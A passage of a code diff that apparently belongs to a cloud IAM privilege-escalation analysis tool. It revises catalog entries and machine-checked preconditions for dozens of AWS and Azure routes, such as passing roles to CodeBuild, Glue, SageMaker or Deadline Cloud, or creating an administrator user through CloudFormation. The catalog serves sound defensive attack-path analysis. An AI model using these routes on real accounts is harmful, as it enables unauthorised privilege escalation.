UAMI assign/action, and same-new-endpoint onlineEndpoints/write plus deployments/write; container startup conditional", + 'azure_imagebuilder_new_template_identity_path': "Azure: resource groups or create-RG authority, same-template imageTemplates write/run, two exact UAMI assign grants and build execution", + 'azure_kusto_cluster_principal_assignment_path': "Azure: exact Kusto cluster and principal-assignment child plus the source's write authority; sign-in and endpoint use remain conditional", + 'azure_kusto_database_principal_assignment_path': "Azure: exact Kusto database and principal-assignment child plus the source's write authority; sign-in and endpoint use remain conditional", + 'azure_loadtesting_assign_uami_path': "Azure: one existing or creatable load test resource, exact target UAMI assign, resource write and data-plane test write/start rights; engine execution conditional", + 'azure_loadtesting_existing_engine_identity_path': "Azure: exact Load Testing identity host and both test-write and test-start DataActions; engine selection and execution conditional", } # Machine-checked technique preconditions (entry field `preconditions: [id, ...]`). Each one is evaluated by the # provider model against inventory facts: a target failing it is dropped, a target whose facts are missing becomes # an "Unresolved" placeholder (unknown confidence, never FAIL). mode "target" depends only on the target and the # inventory (shared candidate set); mode "source" also depends on the source principal. PRECONDITIONS = { - "datapipeline_existing_customer_role_pair_and_runnable_ec2": (("aws",), "source", + 'gamelift_new_controlled_build_fleet_role': (("aws",), "source", + "The caller can create and upload a game build and create an EC2 fleet with the target role in the same Region.", + "AWS: effective CreateBuild and CreateFleet in one recorded Region plus PassRole on the target role for gamelift.amazonaws.com; a usable uploaded build and fleet activation remain runtime conditions"), + 'gamelift_existing_shared_fleet_role_shell': (("aws",), "source", + "The caller can reach an active GameLift EC2 compute whose fleet exposes the target instance role in a shared credentials file.", + "AWS: complete fleet and compute inventory, exact InstanceRoleArn, ACTIVE EC2 fleet and compute, SHARED_CREDENTIAL_FILE, and GetComputeAccess on the fleet ARN; the shell must be able to read the file"), + 'datapipeline_existing_customer_role_pair_and_runnable_ec2': (("aws",), "source", "A legacy Data Pipeline customer can create and run one command-bearing EC2 pipeline with both passable service and instance roles.", "AWS: existing-customer availability, a creatable pipeline ID, PutPipelineDefinition and ActivatePipeline on that generated pipeline, separately passable Data Pipeline and EC2 roles, effective pipeline-role EC2 launch permissions, and a runnable command-bearing definition"), - "braket_createjob_device_authorized": (("aws",), "source", - "The caller can create a Braket hybrid job on a usable device rather than only on a job ARN.", - "AWS: CreateJob must authorize a device ARN; a job-only grant cannot launch a hybrid job. Exact device grants outside the known simulator need device availability evidence."), - "imagebuilder_component_publish_and_pipeline_start": (("aws",), "source", + 'braket_createjob_device_authorized': (("aws",), "source", + "The source can create a Braket hybrid job that runs a script it controls under the passed role.", + "AWS: ONLINE SV1 device, broad generated-job ARN, exact PassRole and trust, same-Region S3 code write/read and broad role output write."), + 'kafkaconnect_plugin_execution_unverified': (("aws",), "source", + "The source can create an MSK Connect plugin and connector that could run under the passed role.", + "AWS: writable and readable plugin artifact, compatible Kafka cluster and network, and a runnable connector request are not joined."), + 'stepfunctions_teststate_privileged_task_unverified': (("aws",), "source", + "An unmocked TestState task can use the passed role for one supported action.", + "AWS: an exact supported task and the role's action on its resource are not recorded; TestState and PassRole grants alone leave the role effect unresolved."), + 'sfn_role_sdk_effect_reviewed': (("aws",), "source", + "A reviewed execution used the exact Step Functions role for an SDK task that the source cannot perform directly.", + "AWS: active state machine revision, target role ID, succeeded SDK task action/resource, effective role and source grants, and a fresh reviewed execution record."), + 'ssm_existing_automation_runtime_role_effect_reviewed': (("aws",), "source", + "A reviewed existing Automation execution used the exact passed role for a useful step.", + "AWS: immutable document version, role parameter, exact StartAutomationExecution grant, successful execution, target role ID, and a fresh useful role action are required."), + 'codebuild_ssm_debug_session_role_effect_reviewed': (("aws",), "source", + "A reviewed session connected to a paused CodeBuild build and used its actual role for a useful action.", + "AWS: exact build ID, BatchGetBuilds session target, enabled breakpoint, actual build role, StartSession grant, and a fresh observed role action are required."), + 'bedrock_agent_actiongroup_lambda_execution_unverified': (("aws",), "source", + "A deployed Bedrock agent alias can invoke a changed Lambda action-group function with its execution role.", + "AWS: the invocable alias, routed agent version, action-group executor, Lambda invocation permission and matching function are not joined."), + 'lambda_signer_trusted_profile_artifact_unverified': (("aws",), "source", + "A changed Lambda ZIP can be signed by a publisher trusted by that function's enforcing code-signing config.", + "AWS: exact StartSigningJob and config-read permissions can be joined, but a controlled versioned S3 input and usable signed output are not recorded."), + 'ec2_spot_request_instance_role_effect_reviewed': (("aws",), "source", + "A Spot request launched an instance using the target role and that instance performed a useful action.", + "AWS: fresh reviewed Spot request, complete authorization resources, fulfilled instance, applied profile and role ID, executed user data and useful role action"), + 'spot_request_with_passed_profile_and_role_ready': (("aws",), "source", + "A Spot request may launch with the target role through its instance profile.", + "AWS: historical catalog precondition; the current route uses a reviewed fulfilled-request and role-effect witness."), + 'ec2_runinstances_instance_role_effect_reviewed': (("aws",), "source", + "An EC2 instance launched with the passed role and performed a useful action under that role.", + "AWS: fresh reviewed launch with exact image, generated instance, network and storage authorization resources, applied profile and role ID, executed user data and useful role action"), + 'ec2_runinstances_launch_with_passed_profile_unverified': (("aws",), "source", + "An EC2 instance may launch with the target role through its instance profile.", + "AWS: historical catalog precondition; the current route uses a reviewed launched-instance and role-effect witness."), + 'imagebuilder_component_publish_and_pipeline_start': (("aws",), "source", "The source can publish a newer build of an account-owned component consumed by one pipeline and start that same pipeline.", "AWS: complete Image Builder pipeline and recipe-component inventory; the same pipeline has the target instance-profile role, an unpinned component reference, source CreateComponent permission covering new versions or builds of that component, and source StartImagePipelineExecution on that pipeline"), - "gameliftstreams_live_role_session_admin_shell": (("aws",), "source", + 'gameliftstreams_live_role_session_admin_shell': (("aws",), "source", "The caller can open an admin shell in one live GameLift Streams session carrying the target role.", "AWS: complete per-Region ListStreamGroups/ListStreamSessions inventory with the same session ARN, live status, exact RoleArn and parent group ARN; CreateStreamSessionAdminShell must allow that group"), - "gameliftstreams_controlled_application_role_session": (("aws",), "source", + 'gameliftstreams_controlled_application_role_session': (("aws",), "source", "The caller can start a controlled GameLift Streams application in an eligible stream group with the target role.", "AWS: exact application content control, application-to-active-stream-group association and capacity, source StartStreamSession or CreateStreamUrl authorization on the required resources, and effective PassRole for the target role"), - "ecs_exec_live_task_role": (("aws",), "source", + 'ecs_exec_live_task_role': (("aws",), "source", "The caller can open an ECS Exec session in one running container carrying the target task role.", "AWS: collected running task and task-definition role, enabled ECS Exec and running ExecuteCommandAgent in the same container, exact cluster and task ExecuteCommand authorization, task-role SSM channel permissions, and any configured Exec KMS permissions"), - "athena_existing_session_calculation_role": (("aws",), "source", + 'athena_existing_session_calculation_role': (("aws",), "source", "The caller can submit code to an idle PySpark 3 session with the target execution role.", "AWS: complete Athena ListSessions/GetSession inventory with exact SessionConfiguration.ExecutionRole, IDLE state, PySpark engine version 3, and StartCalculationExecution on its workgroup ARN"), - "athena_existing_notebook_url_role": (("aws",), "source", + 'athena_existing_notebook_url_role': (("aws",), "source", "The caller can open an active PySpark 3 notebook backed by the target execution role.", "AWS: complete Athena ListSessions/GetSession inventory with exact SessionConfiguration.ExecutionRole, IDLE state, NotebookVersion, PySpark engine version 3, and CreatePresignedNotebookUrl on its workgroup ARN"), - "athena_existing_spark_connect_role": (("aws",), "source", + 'athena_existing_spark_connect_role': (("aws",), "source", "The caller can get the endpoint token for an active Spark 3.5 session with the target execution role.", "AWS: complete Athena ListSessions/GetSession inventory with exact SessionConfiguration.ExecutionRole, active state, Apache Spark version 3.5, and GetSessionEndpoint on its workgroup and session ARNs"), - "flink_new_application_startable": (("aws",), "source", + 'flink_new_application_startable': (("aws",), "source", "The caller can create and start one unused application name in the same Region.", "AWS: complete kinesisanalytics:ListApplications inventory in a Region, CreateApplication on *, and StartApplication on one available application ARN"), - "flink_existing_studio_role_session": (("aws",), "source", + 'flink_existing_studio_role_session': (("aws",), "source", "The caller can open a Zeppelin session on a running Studio application with the target role.", "AWS: complete Flink application detail; the same RUNNING INTERACTIVE application has the exact target ServiceExecutionRole and CreateApplicationPresignedUrl is authorized on that application ARN"), + "flink_existing_streaming_inline_code_update": (("aws",), "source", + "The caller can update inline application code in a running streaming application using its recorded execution role.", + "AWS: complete Flink application detail; the same RUNNING STREAMING application has the exact target ServiceExecutionRole, a current version or conditional token, and UpdateApplication is authorized on its exact ARN"), "ec2_spot_fleet_roles_ready": (("aws",), "source", "The caller can pass a Spot Fleet role, and the required service-linked roles exist or can be created.", "AWS: IAM role inventory, spotfleet.amazonaws.com trust, PassRole with PassedToService, and CreateServiceLinkedRole with AWSServiceName"), - "quicksight_subscribed": (("aws",), "source", + 'ec2_spot_fleet_instance_role_effect_reviewed': (("aws",), "source", + "A Spot Fleet launched a controlled instance with the passed role and the instance performed a new useful action.", + "AWS: fresh reviewed fleet request with separate exact fleet and instance roles, complete RequestSpotFleet and RunInstances authorization resources, fleet member instance, applied profile and role ID, executed user data and useful role action"), + 'autoscaling_created_launch_input_role_effect_reviewed': (("aws",), "source", + "The source created a controlled Auto Scaling launch input and a launched instance performed a useful action under the passed role.", + "AWS: fresh reviewed configuration or template creation, exact group Create or Update, applied instance profile and role ID, executed user data and useful role action; scoped launch, group, PassRole and template RunInstances permissions"), + 'quicksight_subscribed': (("aws",), "source", "The account has an active IAM-compatible QuickSight subscription and the source user's name is available.", "AWS: QuickSight subscription ACCOUNT_CREATED with IAM_ONLY or IAM_AND_QUICKSIGHT, and complete ListUsers in the registration Region"), - "ec2_userdata_restart_execution_reviewed": (("aws",), "source", + 'quicksight_existing_iam_user_self_admin': (("aws",), "source", + "The existing active QuickSight user maps by immutable IAM user ID to the caller and the subscription supports IAM sign-in.", + "AWS: ListUsers PrincipalId equals federated/iam/ or federated-iam-, non-admin role, no custom permissions, and active IAM-compatible subscription in the same Region"), + 'ec2_userdata_restart_execution_reviewed': (("aws",), "source", "The exact role-bearing EC2 instance executes changed user data on its next start.", "AWS: a fresh verified aws_privesc_challenge_evidence record naming the source, target role and instance, " "reviewed restart execution and role credential access; collected instance/profile state and exact " "ModifyInstanceAttribute(userData), StartInstances and, when running, StopInstances authorization"), - "grafana_api_key_workspace_eligible": (("aws",), "source", + 'grafana_api_key_workspace_eligible': (("aws",), "source", "The selected Managed Grafana workspace still supports API keys through the AWS API.", "AWS: collected workspace ARN, ACTIVE status and Grafana version earlier than 12"), - "grafana_service_account_workspace_eligible": (("aws",), "source", + 'grafana_service_account_workspace_eligible': (("aws",), "source", "The selected Managed Grafana workspace supports service accounts.", "AWS: collected workspace ARN, ACTIVE status and Grafana version 9 or later"), + "grafana_existing_admin_service_account_token_ready": (("aws",), "source", + "An enabled ADMIN service account already exists in the selected Managed Grafana workspace.", + "AWS: collected workspace ARN, ACTIVE status, Grafana version 9 or later, and complete ListWorkspaceServiceAccounts metadata with one enabled ADMIN account ID"), "grafana_saml_workspace_active": (("aws",), "source", "The selected Managed Grafana workspace can accept an authentication update.", "AWS: collected workspace ARN and ACTIVE status"), - "batch_new_job_and_ec2_queue_authorized": (("aws",), "source", + 'batch_new_job_and_ec2_queue_authorized': (("aws",), "source", "One new Batch job definition can be registered and submitted through a usable EC2 job queue.", "AWS: batch:DescribeJobDefinitions, batch:DescribeJobQueues and batch:DescribeComputeEnvironments in the same Region; RegisterJobDefinition covers an unused name and SubmitJob covers its revision and one enabled valid EC2 queue"), - "batch_existing_definition_submitjob_role": (("aws",), "source", + 'batch_existing_definition_submitjob_role': (("aws",), "source", "The caller can submit a command override through an existing EC2 Batch job definition with the target job role.", "AWS: complete Batch job-definition, queue and compute-environment inventory in one Region; ACTIVE container definition with exact jobRoleArn and image, enabled valid EC2 queue, and SubmitJob on both the versioned definition and queue ARNs"), - "amplifybackend_create_token_backend_scope": (("aws",), "source", + 'amplifybackend_create_token_backend_scope': (("aws",), "source", "The CreateToken grant covers a backend environment path as well as the challenge token path for the same app.", "AWS: a collected Amplify Gen 1 backend environment and amplifybackend:CreateToken on that app's backend environment path; a token-only grant remains unresolved"), - "cloudcontrol_source_can_create_admin_user": (("aws",), "source", + 'amplify_service_role_build_effect_unverified': (("aws",), "source", + "The source can update an Amplify app and start a build in one of its repository-backed branches under the passed service role.", + "AWS: exact collected app and branch, UpdateApp on that app ARN, StartJob on its jobs ARN, connected repository, effective build specification and controlled command that uses the passed role"), + 'amplify_compute_role_ssr_effect_unverified': (("aws",), "source", + "The source can update an SSR Amplify app and reach deployed server code under the passed compute role.", + "AWS: exact collected SSR app and branch, UpdateApp on that app ARN, branch compute-role precedence, controlled deployed SSR route and a request that reaches it"), + 'cloudcontrol_source_can_create_admin_user': (("aws",), "source", "The caller can pass a CloudFormation role that can create a new IAM user with a chosen console password and administrator permissions.", "AWS: PassRole to a CloudFormation-trusting role, then CreateUser, GetUser, CreateLoginProfile, and either AttachUserPolicy with AdministratorAccess or PutUserPolicy on one new user ARN"), - "sagemaker_studio_profile_iam_domain_ready": (("aws",), "source", + 'sagemaker_studio_profile_iam_domain_ready': (("aws",), "source", "The selected Studio profile belongs to an active IAM domain and can run a code app using its role.", "AWS: the exact user profile attached to the target role and its same-region domain are both InService, DescribeDomain reports AuthMode IAM, and a profile code app is InService or the source can CreateApp and AddTags on a matching app ARN"), - "sfn_existing_state_machine_update_and_start": (("aws",), "source", + 'sfn_existing_state_machine_update_and_start': (("aws",), "source", "The source can update and start one active state machine using a passed execution role.", "AWS: a collected ACTIVE state machine ARN is covered by UpdateStateMachine and StartExecution, or by StartSyncExecution if the machine is EXPRESS"), - "sagemaker_notebook_instance_accessible": (("aws",), "source", + "synthetics_existing_canary_dry_run_code": (("aws",), "source", + "The source can run replacement code in a supported existing canary using its recorded execution role.", + "AWS: one collected canary has a supported dry-run runtime and recorded role; StartCanaryDryRun covers its exact ARN and PassRole covers that role for synthetics.amazonaws.com"), + "servicecatalog_new_artifact_effect_unverified": (("aws",), "source", + "A new controlled Service Catalog artifact can run under the product's launch role and grant the source an exact capability.", + "AWS: owned product, end-user association or authorized self-association, accepted template, exact launch role, successful provisioning and a role-authorized effect the source can use"), + 'sagemaker_notebook_instance_accessible': (("aws",), "source", "The source can open a running notebook, or start a stopped notebook before opening it.", "AWS: the exact notebook attached to the target role is InService, or it is Stopped on a restartable platform and the source can call StartNotebookInstance on that notebook ARN"), - "sagemaker_attached_notebook_lifecycle_update": (("aws",), "source", + 'sagemaker_attached_notebook_lifecycle_update': (("aws",), "source", "The source can replace the startup script already attached to a notebook using the target role.", "AWS: a collected notebook names the exact existing lifecycle configuration and target RoleArn; UpdateNotebookInstanceLifecycleConfig covers that configuration ARN in the same account and Region, and the notebook can run again"), - "sagemaker_new_notebook_creation_and_url_authorized": (("aws",), "source", + 'sagemaker_attach_new_notebook_lifecycle_config': (("aws",), "source", + "The source can create a lifecycle configuration and attach it to a notebook using the target role.", + "AWS: one collected notebook has a restartable platform and target RoleArn; complete lifecycle-configuration inventory shows a free name in its Region; UpdateNotebookInstance covers the exact notebook ARN, CreateNotebookInstanceLifecycleConfig covers that free name, and an InService notebook can be stopped by the source"), + 'sagemaker_new_notebook_creation_and_url_authorized': (("aws",), "source", "The source can create and open one new notebook instance using the passed role.", "AWS: a free notebook name in a collected Region is authorized for both CreateNotebookInstance and CreatePresignedNotebookInstanceUrl on the same ARN"), - "apprunner_existing_customer_account": (("aws",), "source", + 'apprunner_existing_customer_account': (("aws",), "source", "The account already uses App Runner, so it remains eligible to create services.", "AWS: a collected App Runner service with an ARN in the source account establishes prior App Runner use; no recorded service leaves eligibility unresolved"), - "apprunner_existing_image_service_update": (("aws",), "source", + 'apprunner_existing_image_service_update': (("aws",), "source", "The source can update a running image-based App Runner service to use the passed instance role and a chosen image.", "AWS: a complete App Runner service inventory includes an exact RUNNING service ARN whose described SourceConfiguration uses ImageRepository; UpdateService covers that same ARN"), - "apprunner_existing_instance_role_update": (("aws",), "source", + 'apprunner_existing_instance_role_update': (("aws",), "source", "The source can change the start command of an existing image-based App Runner service with the target instance role.", "AWS: a collected RUNNING App Runner image service names the exact target InstanceRoleArn, and UpdateService covers that same service ARN"), - "apprunner_mutable_ecr_autodeploy_instance_role": (("aws",), "source", + 'apprunner_mutable_ecr_autodeploy_instance_role': (("aws",), "source", "The source can push an image to the exact private ECR tag watched by an App Runner service with the target role.", "AWS: collected RUNNING service has AutoDeploymentsEnabled true, exact image tag and InstanceRoleArn; same-account repository permits overwriting that tag or the source can change its mutability, and the source has ECR token, layer-upload and PutImage permissions"), - "iot_new_alias_policy_certificate_same_region": (("aws",), "source", + 'iot_new_alias_policy_certificate_same_region': (("aws",), "source", "One Region permits creation of a new IoT role alias, policy, and certificate that can receive that policy.", "AWS: iam:PassRole on the exact target and regional CreateRoleAlias, CreatePolicy, AttachPolicy, plus one global certificate action all authorize one source-account Region; alias and policy names have wildcard room and AttachPolicy covers new certificates"), - "appsync_new_api_global_setup": (("aws",), "source", + 'iot_existing_alias_new_policy_certificate_same_region': (("aws",), "source", + "The source can repoint one collected IoT role alias and attach a new policy to a certificate it controls.", + "AWS: a collected alias in one source-account Region has exact UpdateRoleAlias authorization, iam:PassRole on the target role, and same-Region CreatePolicy, AttachPolicy and one certificate-creation action; the target trusts credentials.iot.amazonaws.com"), + 'appsync_new_api_global_setup': (("aws",), "source", "The source can perform every action needed to create and invoke a new AppSync API using an API key.", "AWS: CreateGraphqlApi, StartSchemaCreation, CreateDataSource, CreateResolver and CreateApiKey are all authorized on the global resource rather than an existing API ARN"), - "glue_existing_dev_endpoint_ssh_access": (("aws",), "source", + 'glue_existing_dev_endpoint_ssh_access': (("aws",), "source", "The source can add an SSH key to a ready Glue development endpoint with a public address.", "AWS: a complete development endpoint inventory records the exact role, READY status, public address, no legacy key and fewer than five managed keys; UpdateDevEndpoint and one endpoint-read action cover the same endpoint"), - "glue_existing_session_ready_for_statement": (("aws",), "source", + 'glue_new_public_dev_endpoint_role': (("aws",), "source", + "The source can create a non-VPC Glue development endpoint with its SSH key and read its public address.", + "AWS: complete endpoint inventory in a supported Region, CreateDevEndpoint on *, an unused endpoint name readable through GetDevEndpoint or GetDevEndpoints, and exact PassRole to a Glue-trusting role"), + 'glue_existing_session_ready_for_statement': (("aws",), "source", "The source can run a statement in a ready existing Glue session attached to the target role.", "AWS: a complete session inventory records the exact session ID, its execution role and READY status; RunStatement covers that session ARN"), - "glue_new_session_with_statement": (("aws",), "source", + 'glue_new_session_with_statement': (("aws",), "source", "The source can create an interactive Glue session using the target role and run a statement in it.", "AWS: complete interactive session ID inventory in one Region; CreateSession and RunStatement both cover one unused session ARN chosen by the source"), - "glue_existing_job_has_runnable_trigger": (("aws",), "source", + 'glue_existing_job_has_runnable_trigger': (("aws",), "source", "An existing Glue job that the source can update has a recorded way to run afterward.", "AWS: a recorded trigger in the job's Region names the same job; an active scheduled trigger has a schedule, or an on-demand trigger is startable by the source on that trigger ARN"), - "glue_job_role_and_execution_bind": (("aws",), "source", + 'glue_job_role_and_execution_bind': (("aws",), "source", "The source can create or update one Glue job with the passed role and cause that job to run.", "AWS: complete job inventory in one Region; CreateJob on one unused job ARN or UpdateJob on one existing job ARN; StartJobRun on that same job or CreateTrigger on an unused scheduled trigger ARN in the job's Region"), - "glue_job_override_arguments_available": (("aws",), "source", + 'glue_job_override_arguments_available': (("aws",), "source", "An existing Glue job can run with a script override supplied by the source.", "AWS: the job's command type and non-overridable code argument names are collected; --scriptLocation is not pinned; StartJobRun covers that job or CreateTrigger covers a new scheduled trigger name in its Region. Dependency-only routes remain unresolved until their runtime prerequisites are verified"), - "glue_existing_job_script_object_writable_and_runnable": (("aws",), "source", + 'glue_existing_job_script_object_writable_and_runnable': (("aws",), "source", "The source can replace the exact script object of an existing Glue job that runs as the target role.", "AWS: collected Glue job Name, Role, Command.ScriptLocation and code argument names; source s3:PutObject on that S3 object, target-role s3:GetObject on the same object, and source StartJobRun on that job with an unpinned --scriptLocation or an active scheduled trigger naming it without script redirects in job defaults or trigger arguments. Bucket policy, encryption and actual run remain conditional"), - "appstream_new_app_block_builder_with_role": (("aws",), "source", + 'appstream_new_app_block_builder_with_role': (("aws",), "source", "The source can create and start one app block builder with the target role and stream into it.", "AWS: complete builder and app-block name inventory, two available subnets in separate Availability Zones of one VPC, and CreateAppBlockBuilder, AssociateAppBlockBuilderAppBlock, StartAppBlockBuilder and CreateAppBlockBuilderStreamingURL on the same unused builder ARN; the associated APPSTREAM2 app block must be unassociated already, or be newly creatable with a regional S3 bucket"), - "appstream_new_fleet_with_role": (("aws",), "source", + 'appstream_new_fleet_with_role': (("aws",), "source", "The source can create and start one fleet with the target role and stream through a stack.", "AWS: complete fleet, image and stack inventory in one Region; an AVAILABLE image that can run a fleet; CreateFleet authorized on the image and one unused fleet ARN; StartFleet, AssociateFleet and CreateStreamingURL on that same fleet; an existing stack or one creatable and associable by the source"), - "appstream_new_image_builder_with_role": (("aws",), "source", + 'appstream_new_image_builder_with_role': (("aws",), "source", "The source can create one unused image builder name from an available image and stream into it.", "AWS: complete image and image-builder inventory in one Region; an AVAILABLE image that supports image builders; CreateImageBuilder authorized on that image and one unused builder ARN; CreateImageBuilderStreamingURL authorized on the same builder ARN"), - "appstream_existing_fleet_role_swap": (("aws",), "source", + 'appstream_existing_fleet_role_swap': (("aws",), "source", "The source can set the target role on one existing AppStream fleet and start a streaming session.", "AWS: a recorded stopped fleet, or a running fleet the source can stop; UpdateFleet, StartFleet and CreateStreamingURL on that same fleet ARN, plus an associated stack or permission to create and associate one new stack"), - "appstream_existing_fleet_role_session": (("aws",), "source", + 'appstream_existing_fleet_role_session': (("aws",), "source", "The source can open a desktop session on one running fleet that already has the target role.", "AWS: complete fleet inventory; the same running fleet has the exact target IamRoleArn, DESKTOP stream view, available capacity and a collected associated stack; CreateStreamingURL is authorized on that fleet ARN"), - "appstream_existing_image_builder_role_session": (("aws",), "source", + 'appstream_existing_image_builder_role_session': (("aws",), "source", "The source can open a session on one running image builder that already has the target role.", "AWS: complete image-builder inventory; one RUNNING builder has the exact target IamRoleArn and CreateImageBuilderStreamingURL is authorized on that builder ARN"), - "appstream_existing_app_block_builder_role_session": (("aws",), "source", + 'appstream_existing_app_block_builder_role_session': (("aws",), "source", "The source can open a session on one running app block builder that already has the target role.", "AWS: complete app-block-builder inventory; one RUNNING builder has the exact target IamRoleArn and CreateAppBlockBuilderStreamingURL is authorized on that builder ARN"), - "emr_existing_cluster_step_instance_role": (("aws",), "source", + 'emr_existing_cluster_step_instance_role': (("aws",), "source", "The source can add a command step to an active EMR cluster and use its EC2 instance role.", "AWS: complete EMR cluster and IAM role inventory; the same RUNNING or WAITING cluster records an instance profile attached to the exact target role; AddJobFlowSteps is authorized on that cluster ARN"), - "appstream_existing_app_block_builder_role_swap": (("aws",), "source", + 'appstream_existing_app_block_builder_role_swap': (("aws",), "source", "The source can set the target role on one existing AppStream app block builder and start a streaming session.", "AWS: a recorded stopped builder, or a running builder the source can stop; a recorded app block association; UpdateAppBlockBuilder, StartAppBlockBuilder and CreateAppBlockBuilderStreamingURL on the same builder ARN"), - "codepipeline_new_s3_project_route": (("aws",), "source", + 'codepipeline_new_s3_project_route': (("aws",), "source", "The source can create a pipeline and a CodeBuild project using the target role and start that pipeline.", "AWS: unused pipeline and project names in one Region; a versioned S3 source and artifact bucket, writable source ZIP key, readable source and artifacts, passable CodeBuild and CodePipeline roles, CreatePipeline and StartPipelineExecution on the same pipeline ARN, CreateProject and the pipeline role's StartBuild on the same project ARN"), - "codepipeline_new_codecommit_project_route": (("aws",), "source", + 'codepipeline_new_codecommit_project_route': (("aws",), "source", "The source can create a CodeCommit sourced pipeline and a CodeBuild project using the target role.", "AWS: an existing CodeCommit repository with a recorded branch or one the source can push, a pipeline role allowed to read and archive that repository, an accessible artifact bucket, unused pipeline and project names, passable service roles, and exact CreatePipeline, StartPipelineExecution, CreateProject and StartBuild permissions"), - "codepipeline_new_ecr_project_route": (("aws",), "source", + 'codepipeline_new_ecr_project_route': (("aws",), "source", "The source can create an ECR sourced pipeline and a CodeBuild project using the target role.", "AWS: an existing ECR repository with a recorded tagged image that the pipeline role can describe, an accessible artifact bucket, unused pipeline and project names, passable service roles, and exact CreatePipeline, StartPipelineExecution, CreateProject and StartBuild permissions"), - "codepipeline_existing_project_update_buildspec": (("aws",), "source", + 'codepipeline_existing_project_update_buildspec': (("aws",), "source", "The source can change a configured CodeBuild project's buildspec and start its pipeline.", "AWS: recorded source artifacts feed the CodeBuild action on the exact project without a buildspec override; the source can UpdateProject with inline buildspec and StartPipelineExecution on that pipeline; the pipeline role or action role can start the project, including batch and service-role override requirements"), - "codebuild_existing_project_buildspec_override": (("aws",), "source", + 'codebuild_existing_project_buildspec_override': (("aws",), "source", "The source can start an existing CodeBuild project with controlled build commands.", "AWS: a recorded CodeBuild project using the target role; StartBuild with inline buildspec on its ARN, or StartBuildBatch with inline buildspec and a recorded batch service role able to start child builds"), - "codebuild_existing_project_update_buildspec": (("aws",), "source", + 'codebuild_existing_project_update_buildspec': (("aws",), "source", "The source can change a recorded CodeBuild project's buildspec and start it with the target role.", "AWS: codebuild_project detail with the target service role; UpdateProject with a controlled buildspec and StartBuild on the same ARN, or StartBuildBatch with an existing batch role able to start child builds"), - "codebuild_running_sandbox_command": (("aws",), "source", + 'codebuild_running_sandbox_command': (("aws",), "source", "The source can run a command in a recorded running CodeBuild sandbox using the target role.", "AWS: codebuild_sandbox inventory with a RUN_SANDBOX record, exact sandbox ARN and serviceRole; effective codebuild:StartCommandExecution on that ARN"), - "codebuild_running_sandbox_connection": (("aws",), "source", + 'codebuild_running_sandbox_connection': (("aws",), "source", "The source can connect to a recorded running CodeBuild sandbox using the target role.", "AWS: codebuild_sandbox inventory with a RUN_SANDBOX record, exact sandbox ARN and serviceRole; effective codebuild:StartSandboxConnection on that ARN"), - "codebuild_new_project_role_and_build": (("aws",), "source", + 'codebuild_new_project_role_and_build': (("aws",), "source", "The source can create and run one unused CodeBuild project name with the target role.", "AWS: complete codebuild_project name inventory in a Region; CreateProject and StartBuild or StartBuildBatch on one unused project ARN, with codebuild:serviceRole set to the target and an inline buildspec allowed at creation or build start; batch mode may use a distinct passable role able to start child builds"), - "codebuild_existing_project_role_and_build": (("aws",), "source", + 'codebuild_existing_project_role_and_build': (("aws",), "source", "The source can change and run the same recorded CodeBuild project using controlled build commands.", "AWS: codebuild_project inventory with a project ARN; codebuild:UpdateProject and StartBuild or StartBuildBatch on that ARN; an inline buildspec allowed either in UpdateProject or at build start; batch mode needs a configured or creatable batch role able to start child builds"), - "cloudfront_edge_distribution_and_service_roles": (("aws",), "source", - "The source can update a recorded CloudFront distribution and the required Lambda@Edge service-linked roles exist or can be created.", - "AWS: cloudfront_distribution inventory with an ARN covered by cloudfront:UpdateDistribution; IAM role inventory for AWSServiceRoleForLambdaReplicator and AWSServiceRoleForCloudFrontLogger, or iam:CreateServiceLinkedRole with the appropriate iam:AWSServiceName"), - "lambda_microvm_shell_runnable_image_and_role": (("aws",), "source", + 'cloudfront_edge_distribution_and_service_roles': (("aws",), "source", + "The source can create a CloudFront distribution or update a recorded one, and the required Lambda@Edge service-linked roles exist or can be created.", + "AWS: cloudfront:CreateDistribution on * or cloudfront_distribution inventory with an exact ARN covered by cloudfront:UpdateDistribution; IAM role inventory for AWSServiceRoleForLambdaReplicator and AWSServiceRoleForCloudFrontLogger, or iam:CreateServiceLinkedRole with the appropriate iam:AWSServiceName"), + 'deadline_existing_queue_role_vend': (("aws",), "source", + "The source can obtain credentials for the IAM role configured on an exact Deadline Cloud queue.", + "AWS: deadline_queue inventory from ListFarms, ListQueues and GetQueue with exact farm, queue and role ARN; effective deadline:AssumeQueueRoleForUser on that queue ARN and service role trust for that farm"), + 'deadline_passrole_queue_role_vend': (("aws",), "source", + "The source can change one existing queue to a passable role and request that queue's credentials.", + "AWS: complete deadline_queue inventory with exact farm and queue; UpdateQueue and AssumeQueueRoleForUser on that queue ARN; iam:PassRole for the target with iam:PassedToService=deadline.amazonaws.com; target trust for the farm. New queue creation stays unresolved without its generated queue ID"), + 'deadline_existing_worker_role_vend': (("aws",), "source", + "The source can request fleet-role credentials for an existing worker on an exact Deadline Cloud fleet.", + "AWS: deadline_worker inventory from ListFarms, ListFleets, GetFleet and ListWorkers with exact farm, fleet, worker and role; effective deadline:AssumeFleetRoleForWorker on that worker ARN and service role trust for the farm"), + 'deadline_new_worker_role_vend': (("aws",), "source", + "The source can register a new worker on one existing customer-managed fleet and request its role credentials.", + "AWS: deadline_fleet_role inventory from ListFarms, ListFleets and GetFleet with an active customer-managed fleet, room for another worker and exact role; broad CreateWorker and AssumeFleetRoleForWorker grants covering every generated worker ID on that fleet, and farm-scoped role trust"), + 'deadline_fleet_worker_binding_unverified': (("aws",), "source", + "An eligible customer-managed fleet and registered worker must be tied to the passed role and the caller's scoped permissions.", + "AWS: exact farm, fleet, role and worker binding; effective CreateFleet or UpdateFleet, iam:PassRole for deadline.amazonaws.com, CreateWorker and AssumeFleetRoleForWorker on the same worker; actual worker credential scope"), + 'deadline_fleet_worker_bounded_authority_reviewed': (("aws",), "source", + "The source gained one observed worker operation through exact Deadline worker credentials.", + "AWS: one fresh reviewed worker record joins the exact farm, fleet, worker, IAM role ID, accepted CreateFleet or UpdateFleet, CreateWorker, AssumeFleetRoleForWorker and a successful worker action previously denied to the source; all effective grants are scoped to those resources"), + 'devicefarm_existing_project_new_web_test_role': (("aws",), "source", + "The source can upload a custom web test and run it with the target role in an existing compatible project.", + "AWS: collected project and compatible device pool in one Region; CreateUpload on that project, ScheduleRun on the project, pool and all generated upload ARNs, and exact PassRole to devicefarm.amazonaws.com"), + 'devicefarm_existing_test_spec_role_effect_reviewed': (("aws",), "source", + "A controlled existing Device Farm test spec ran with the exact passed role and performed a new useful action.", + "AWS: exact project, compatible pool, successful Appium Web Node test spec and package uploads in one project; scoped ScheduleRun on every referenced resource and PassRole to devicefarm.amazonaws.com; fresh reviewed run 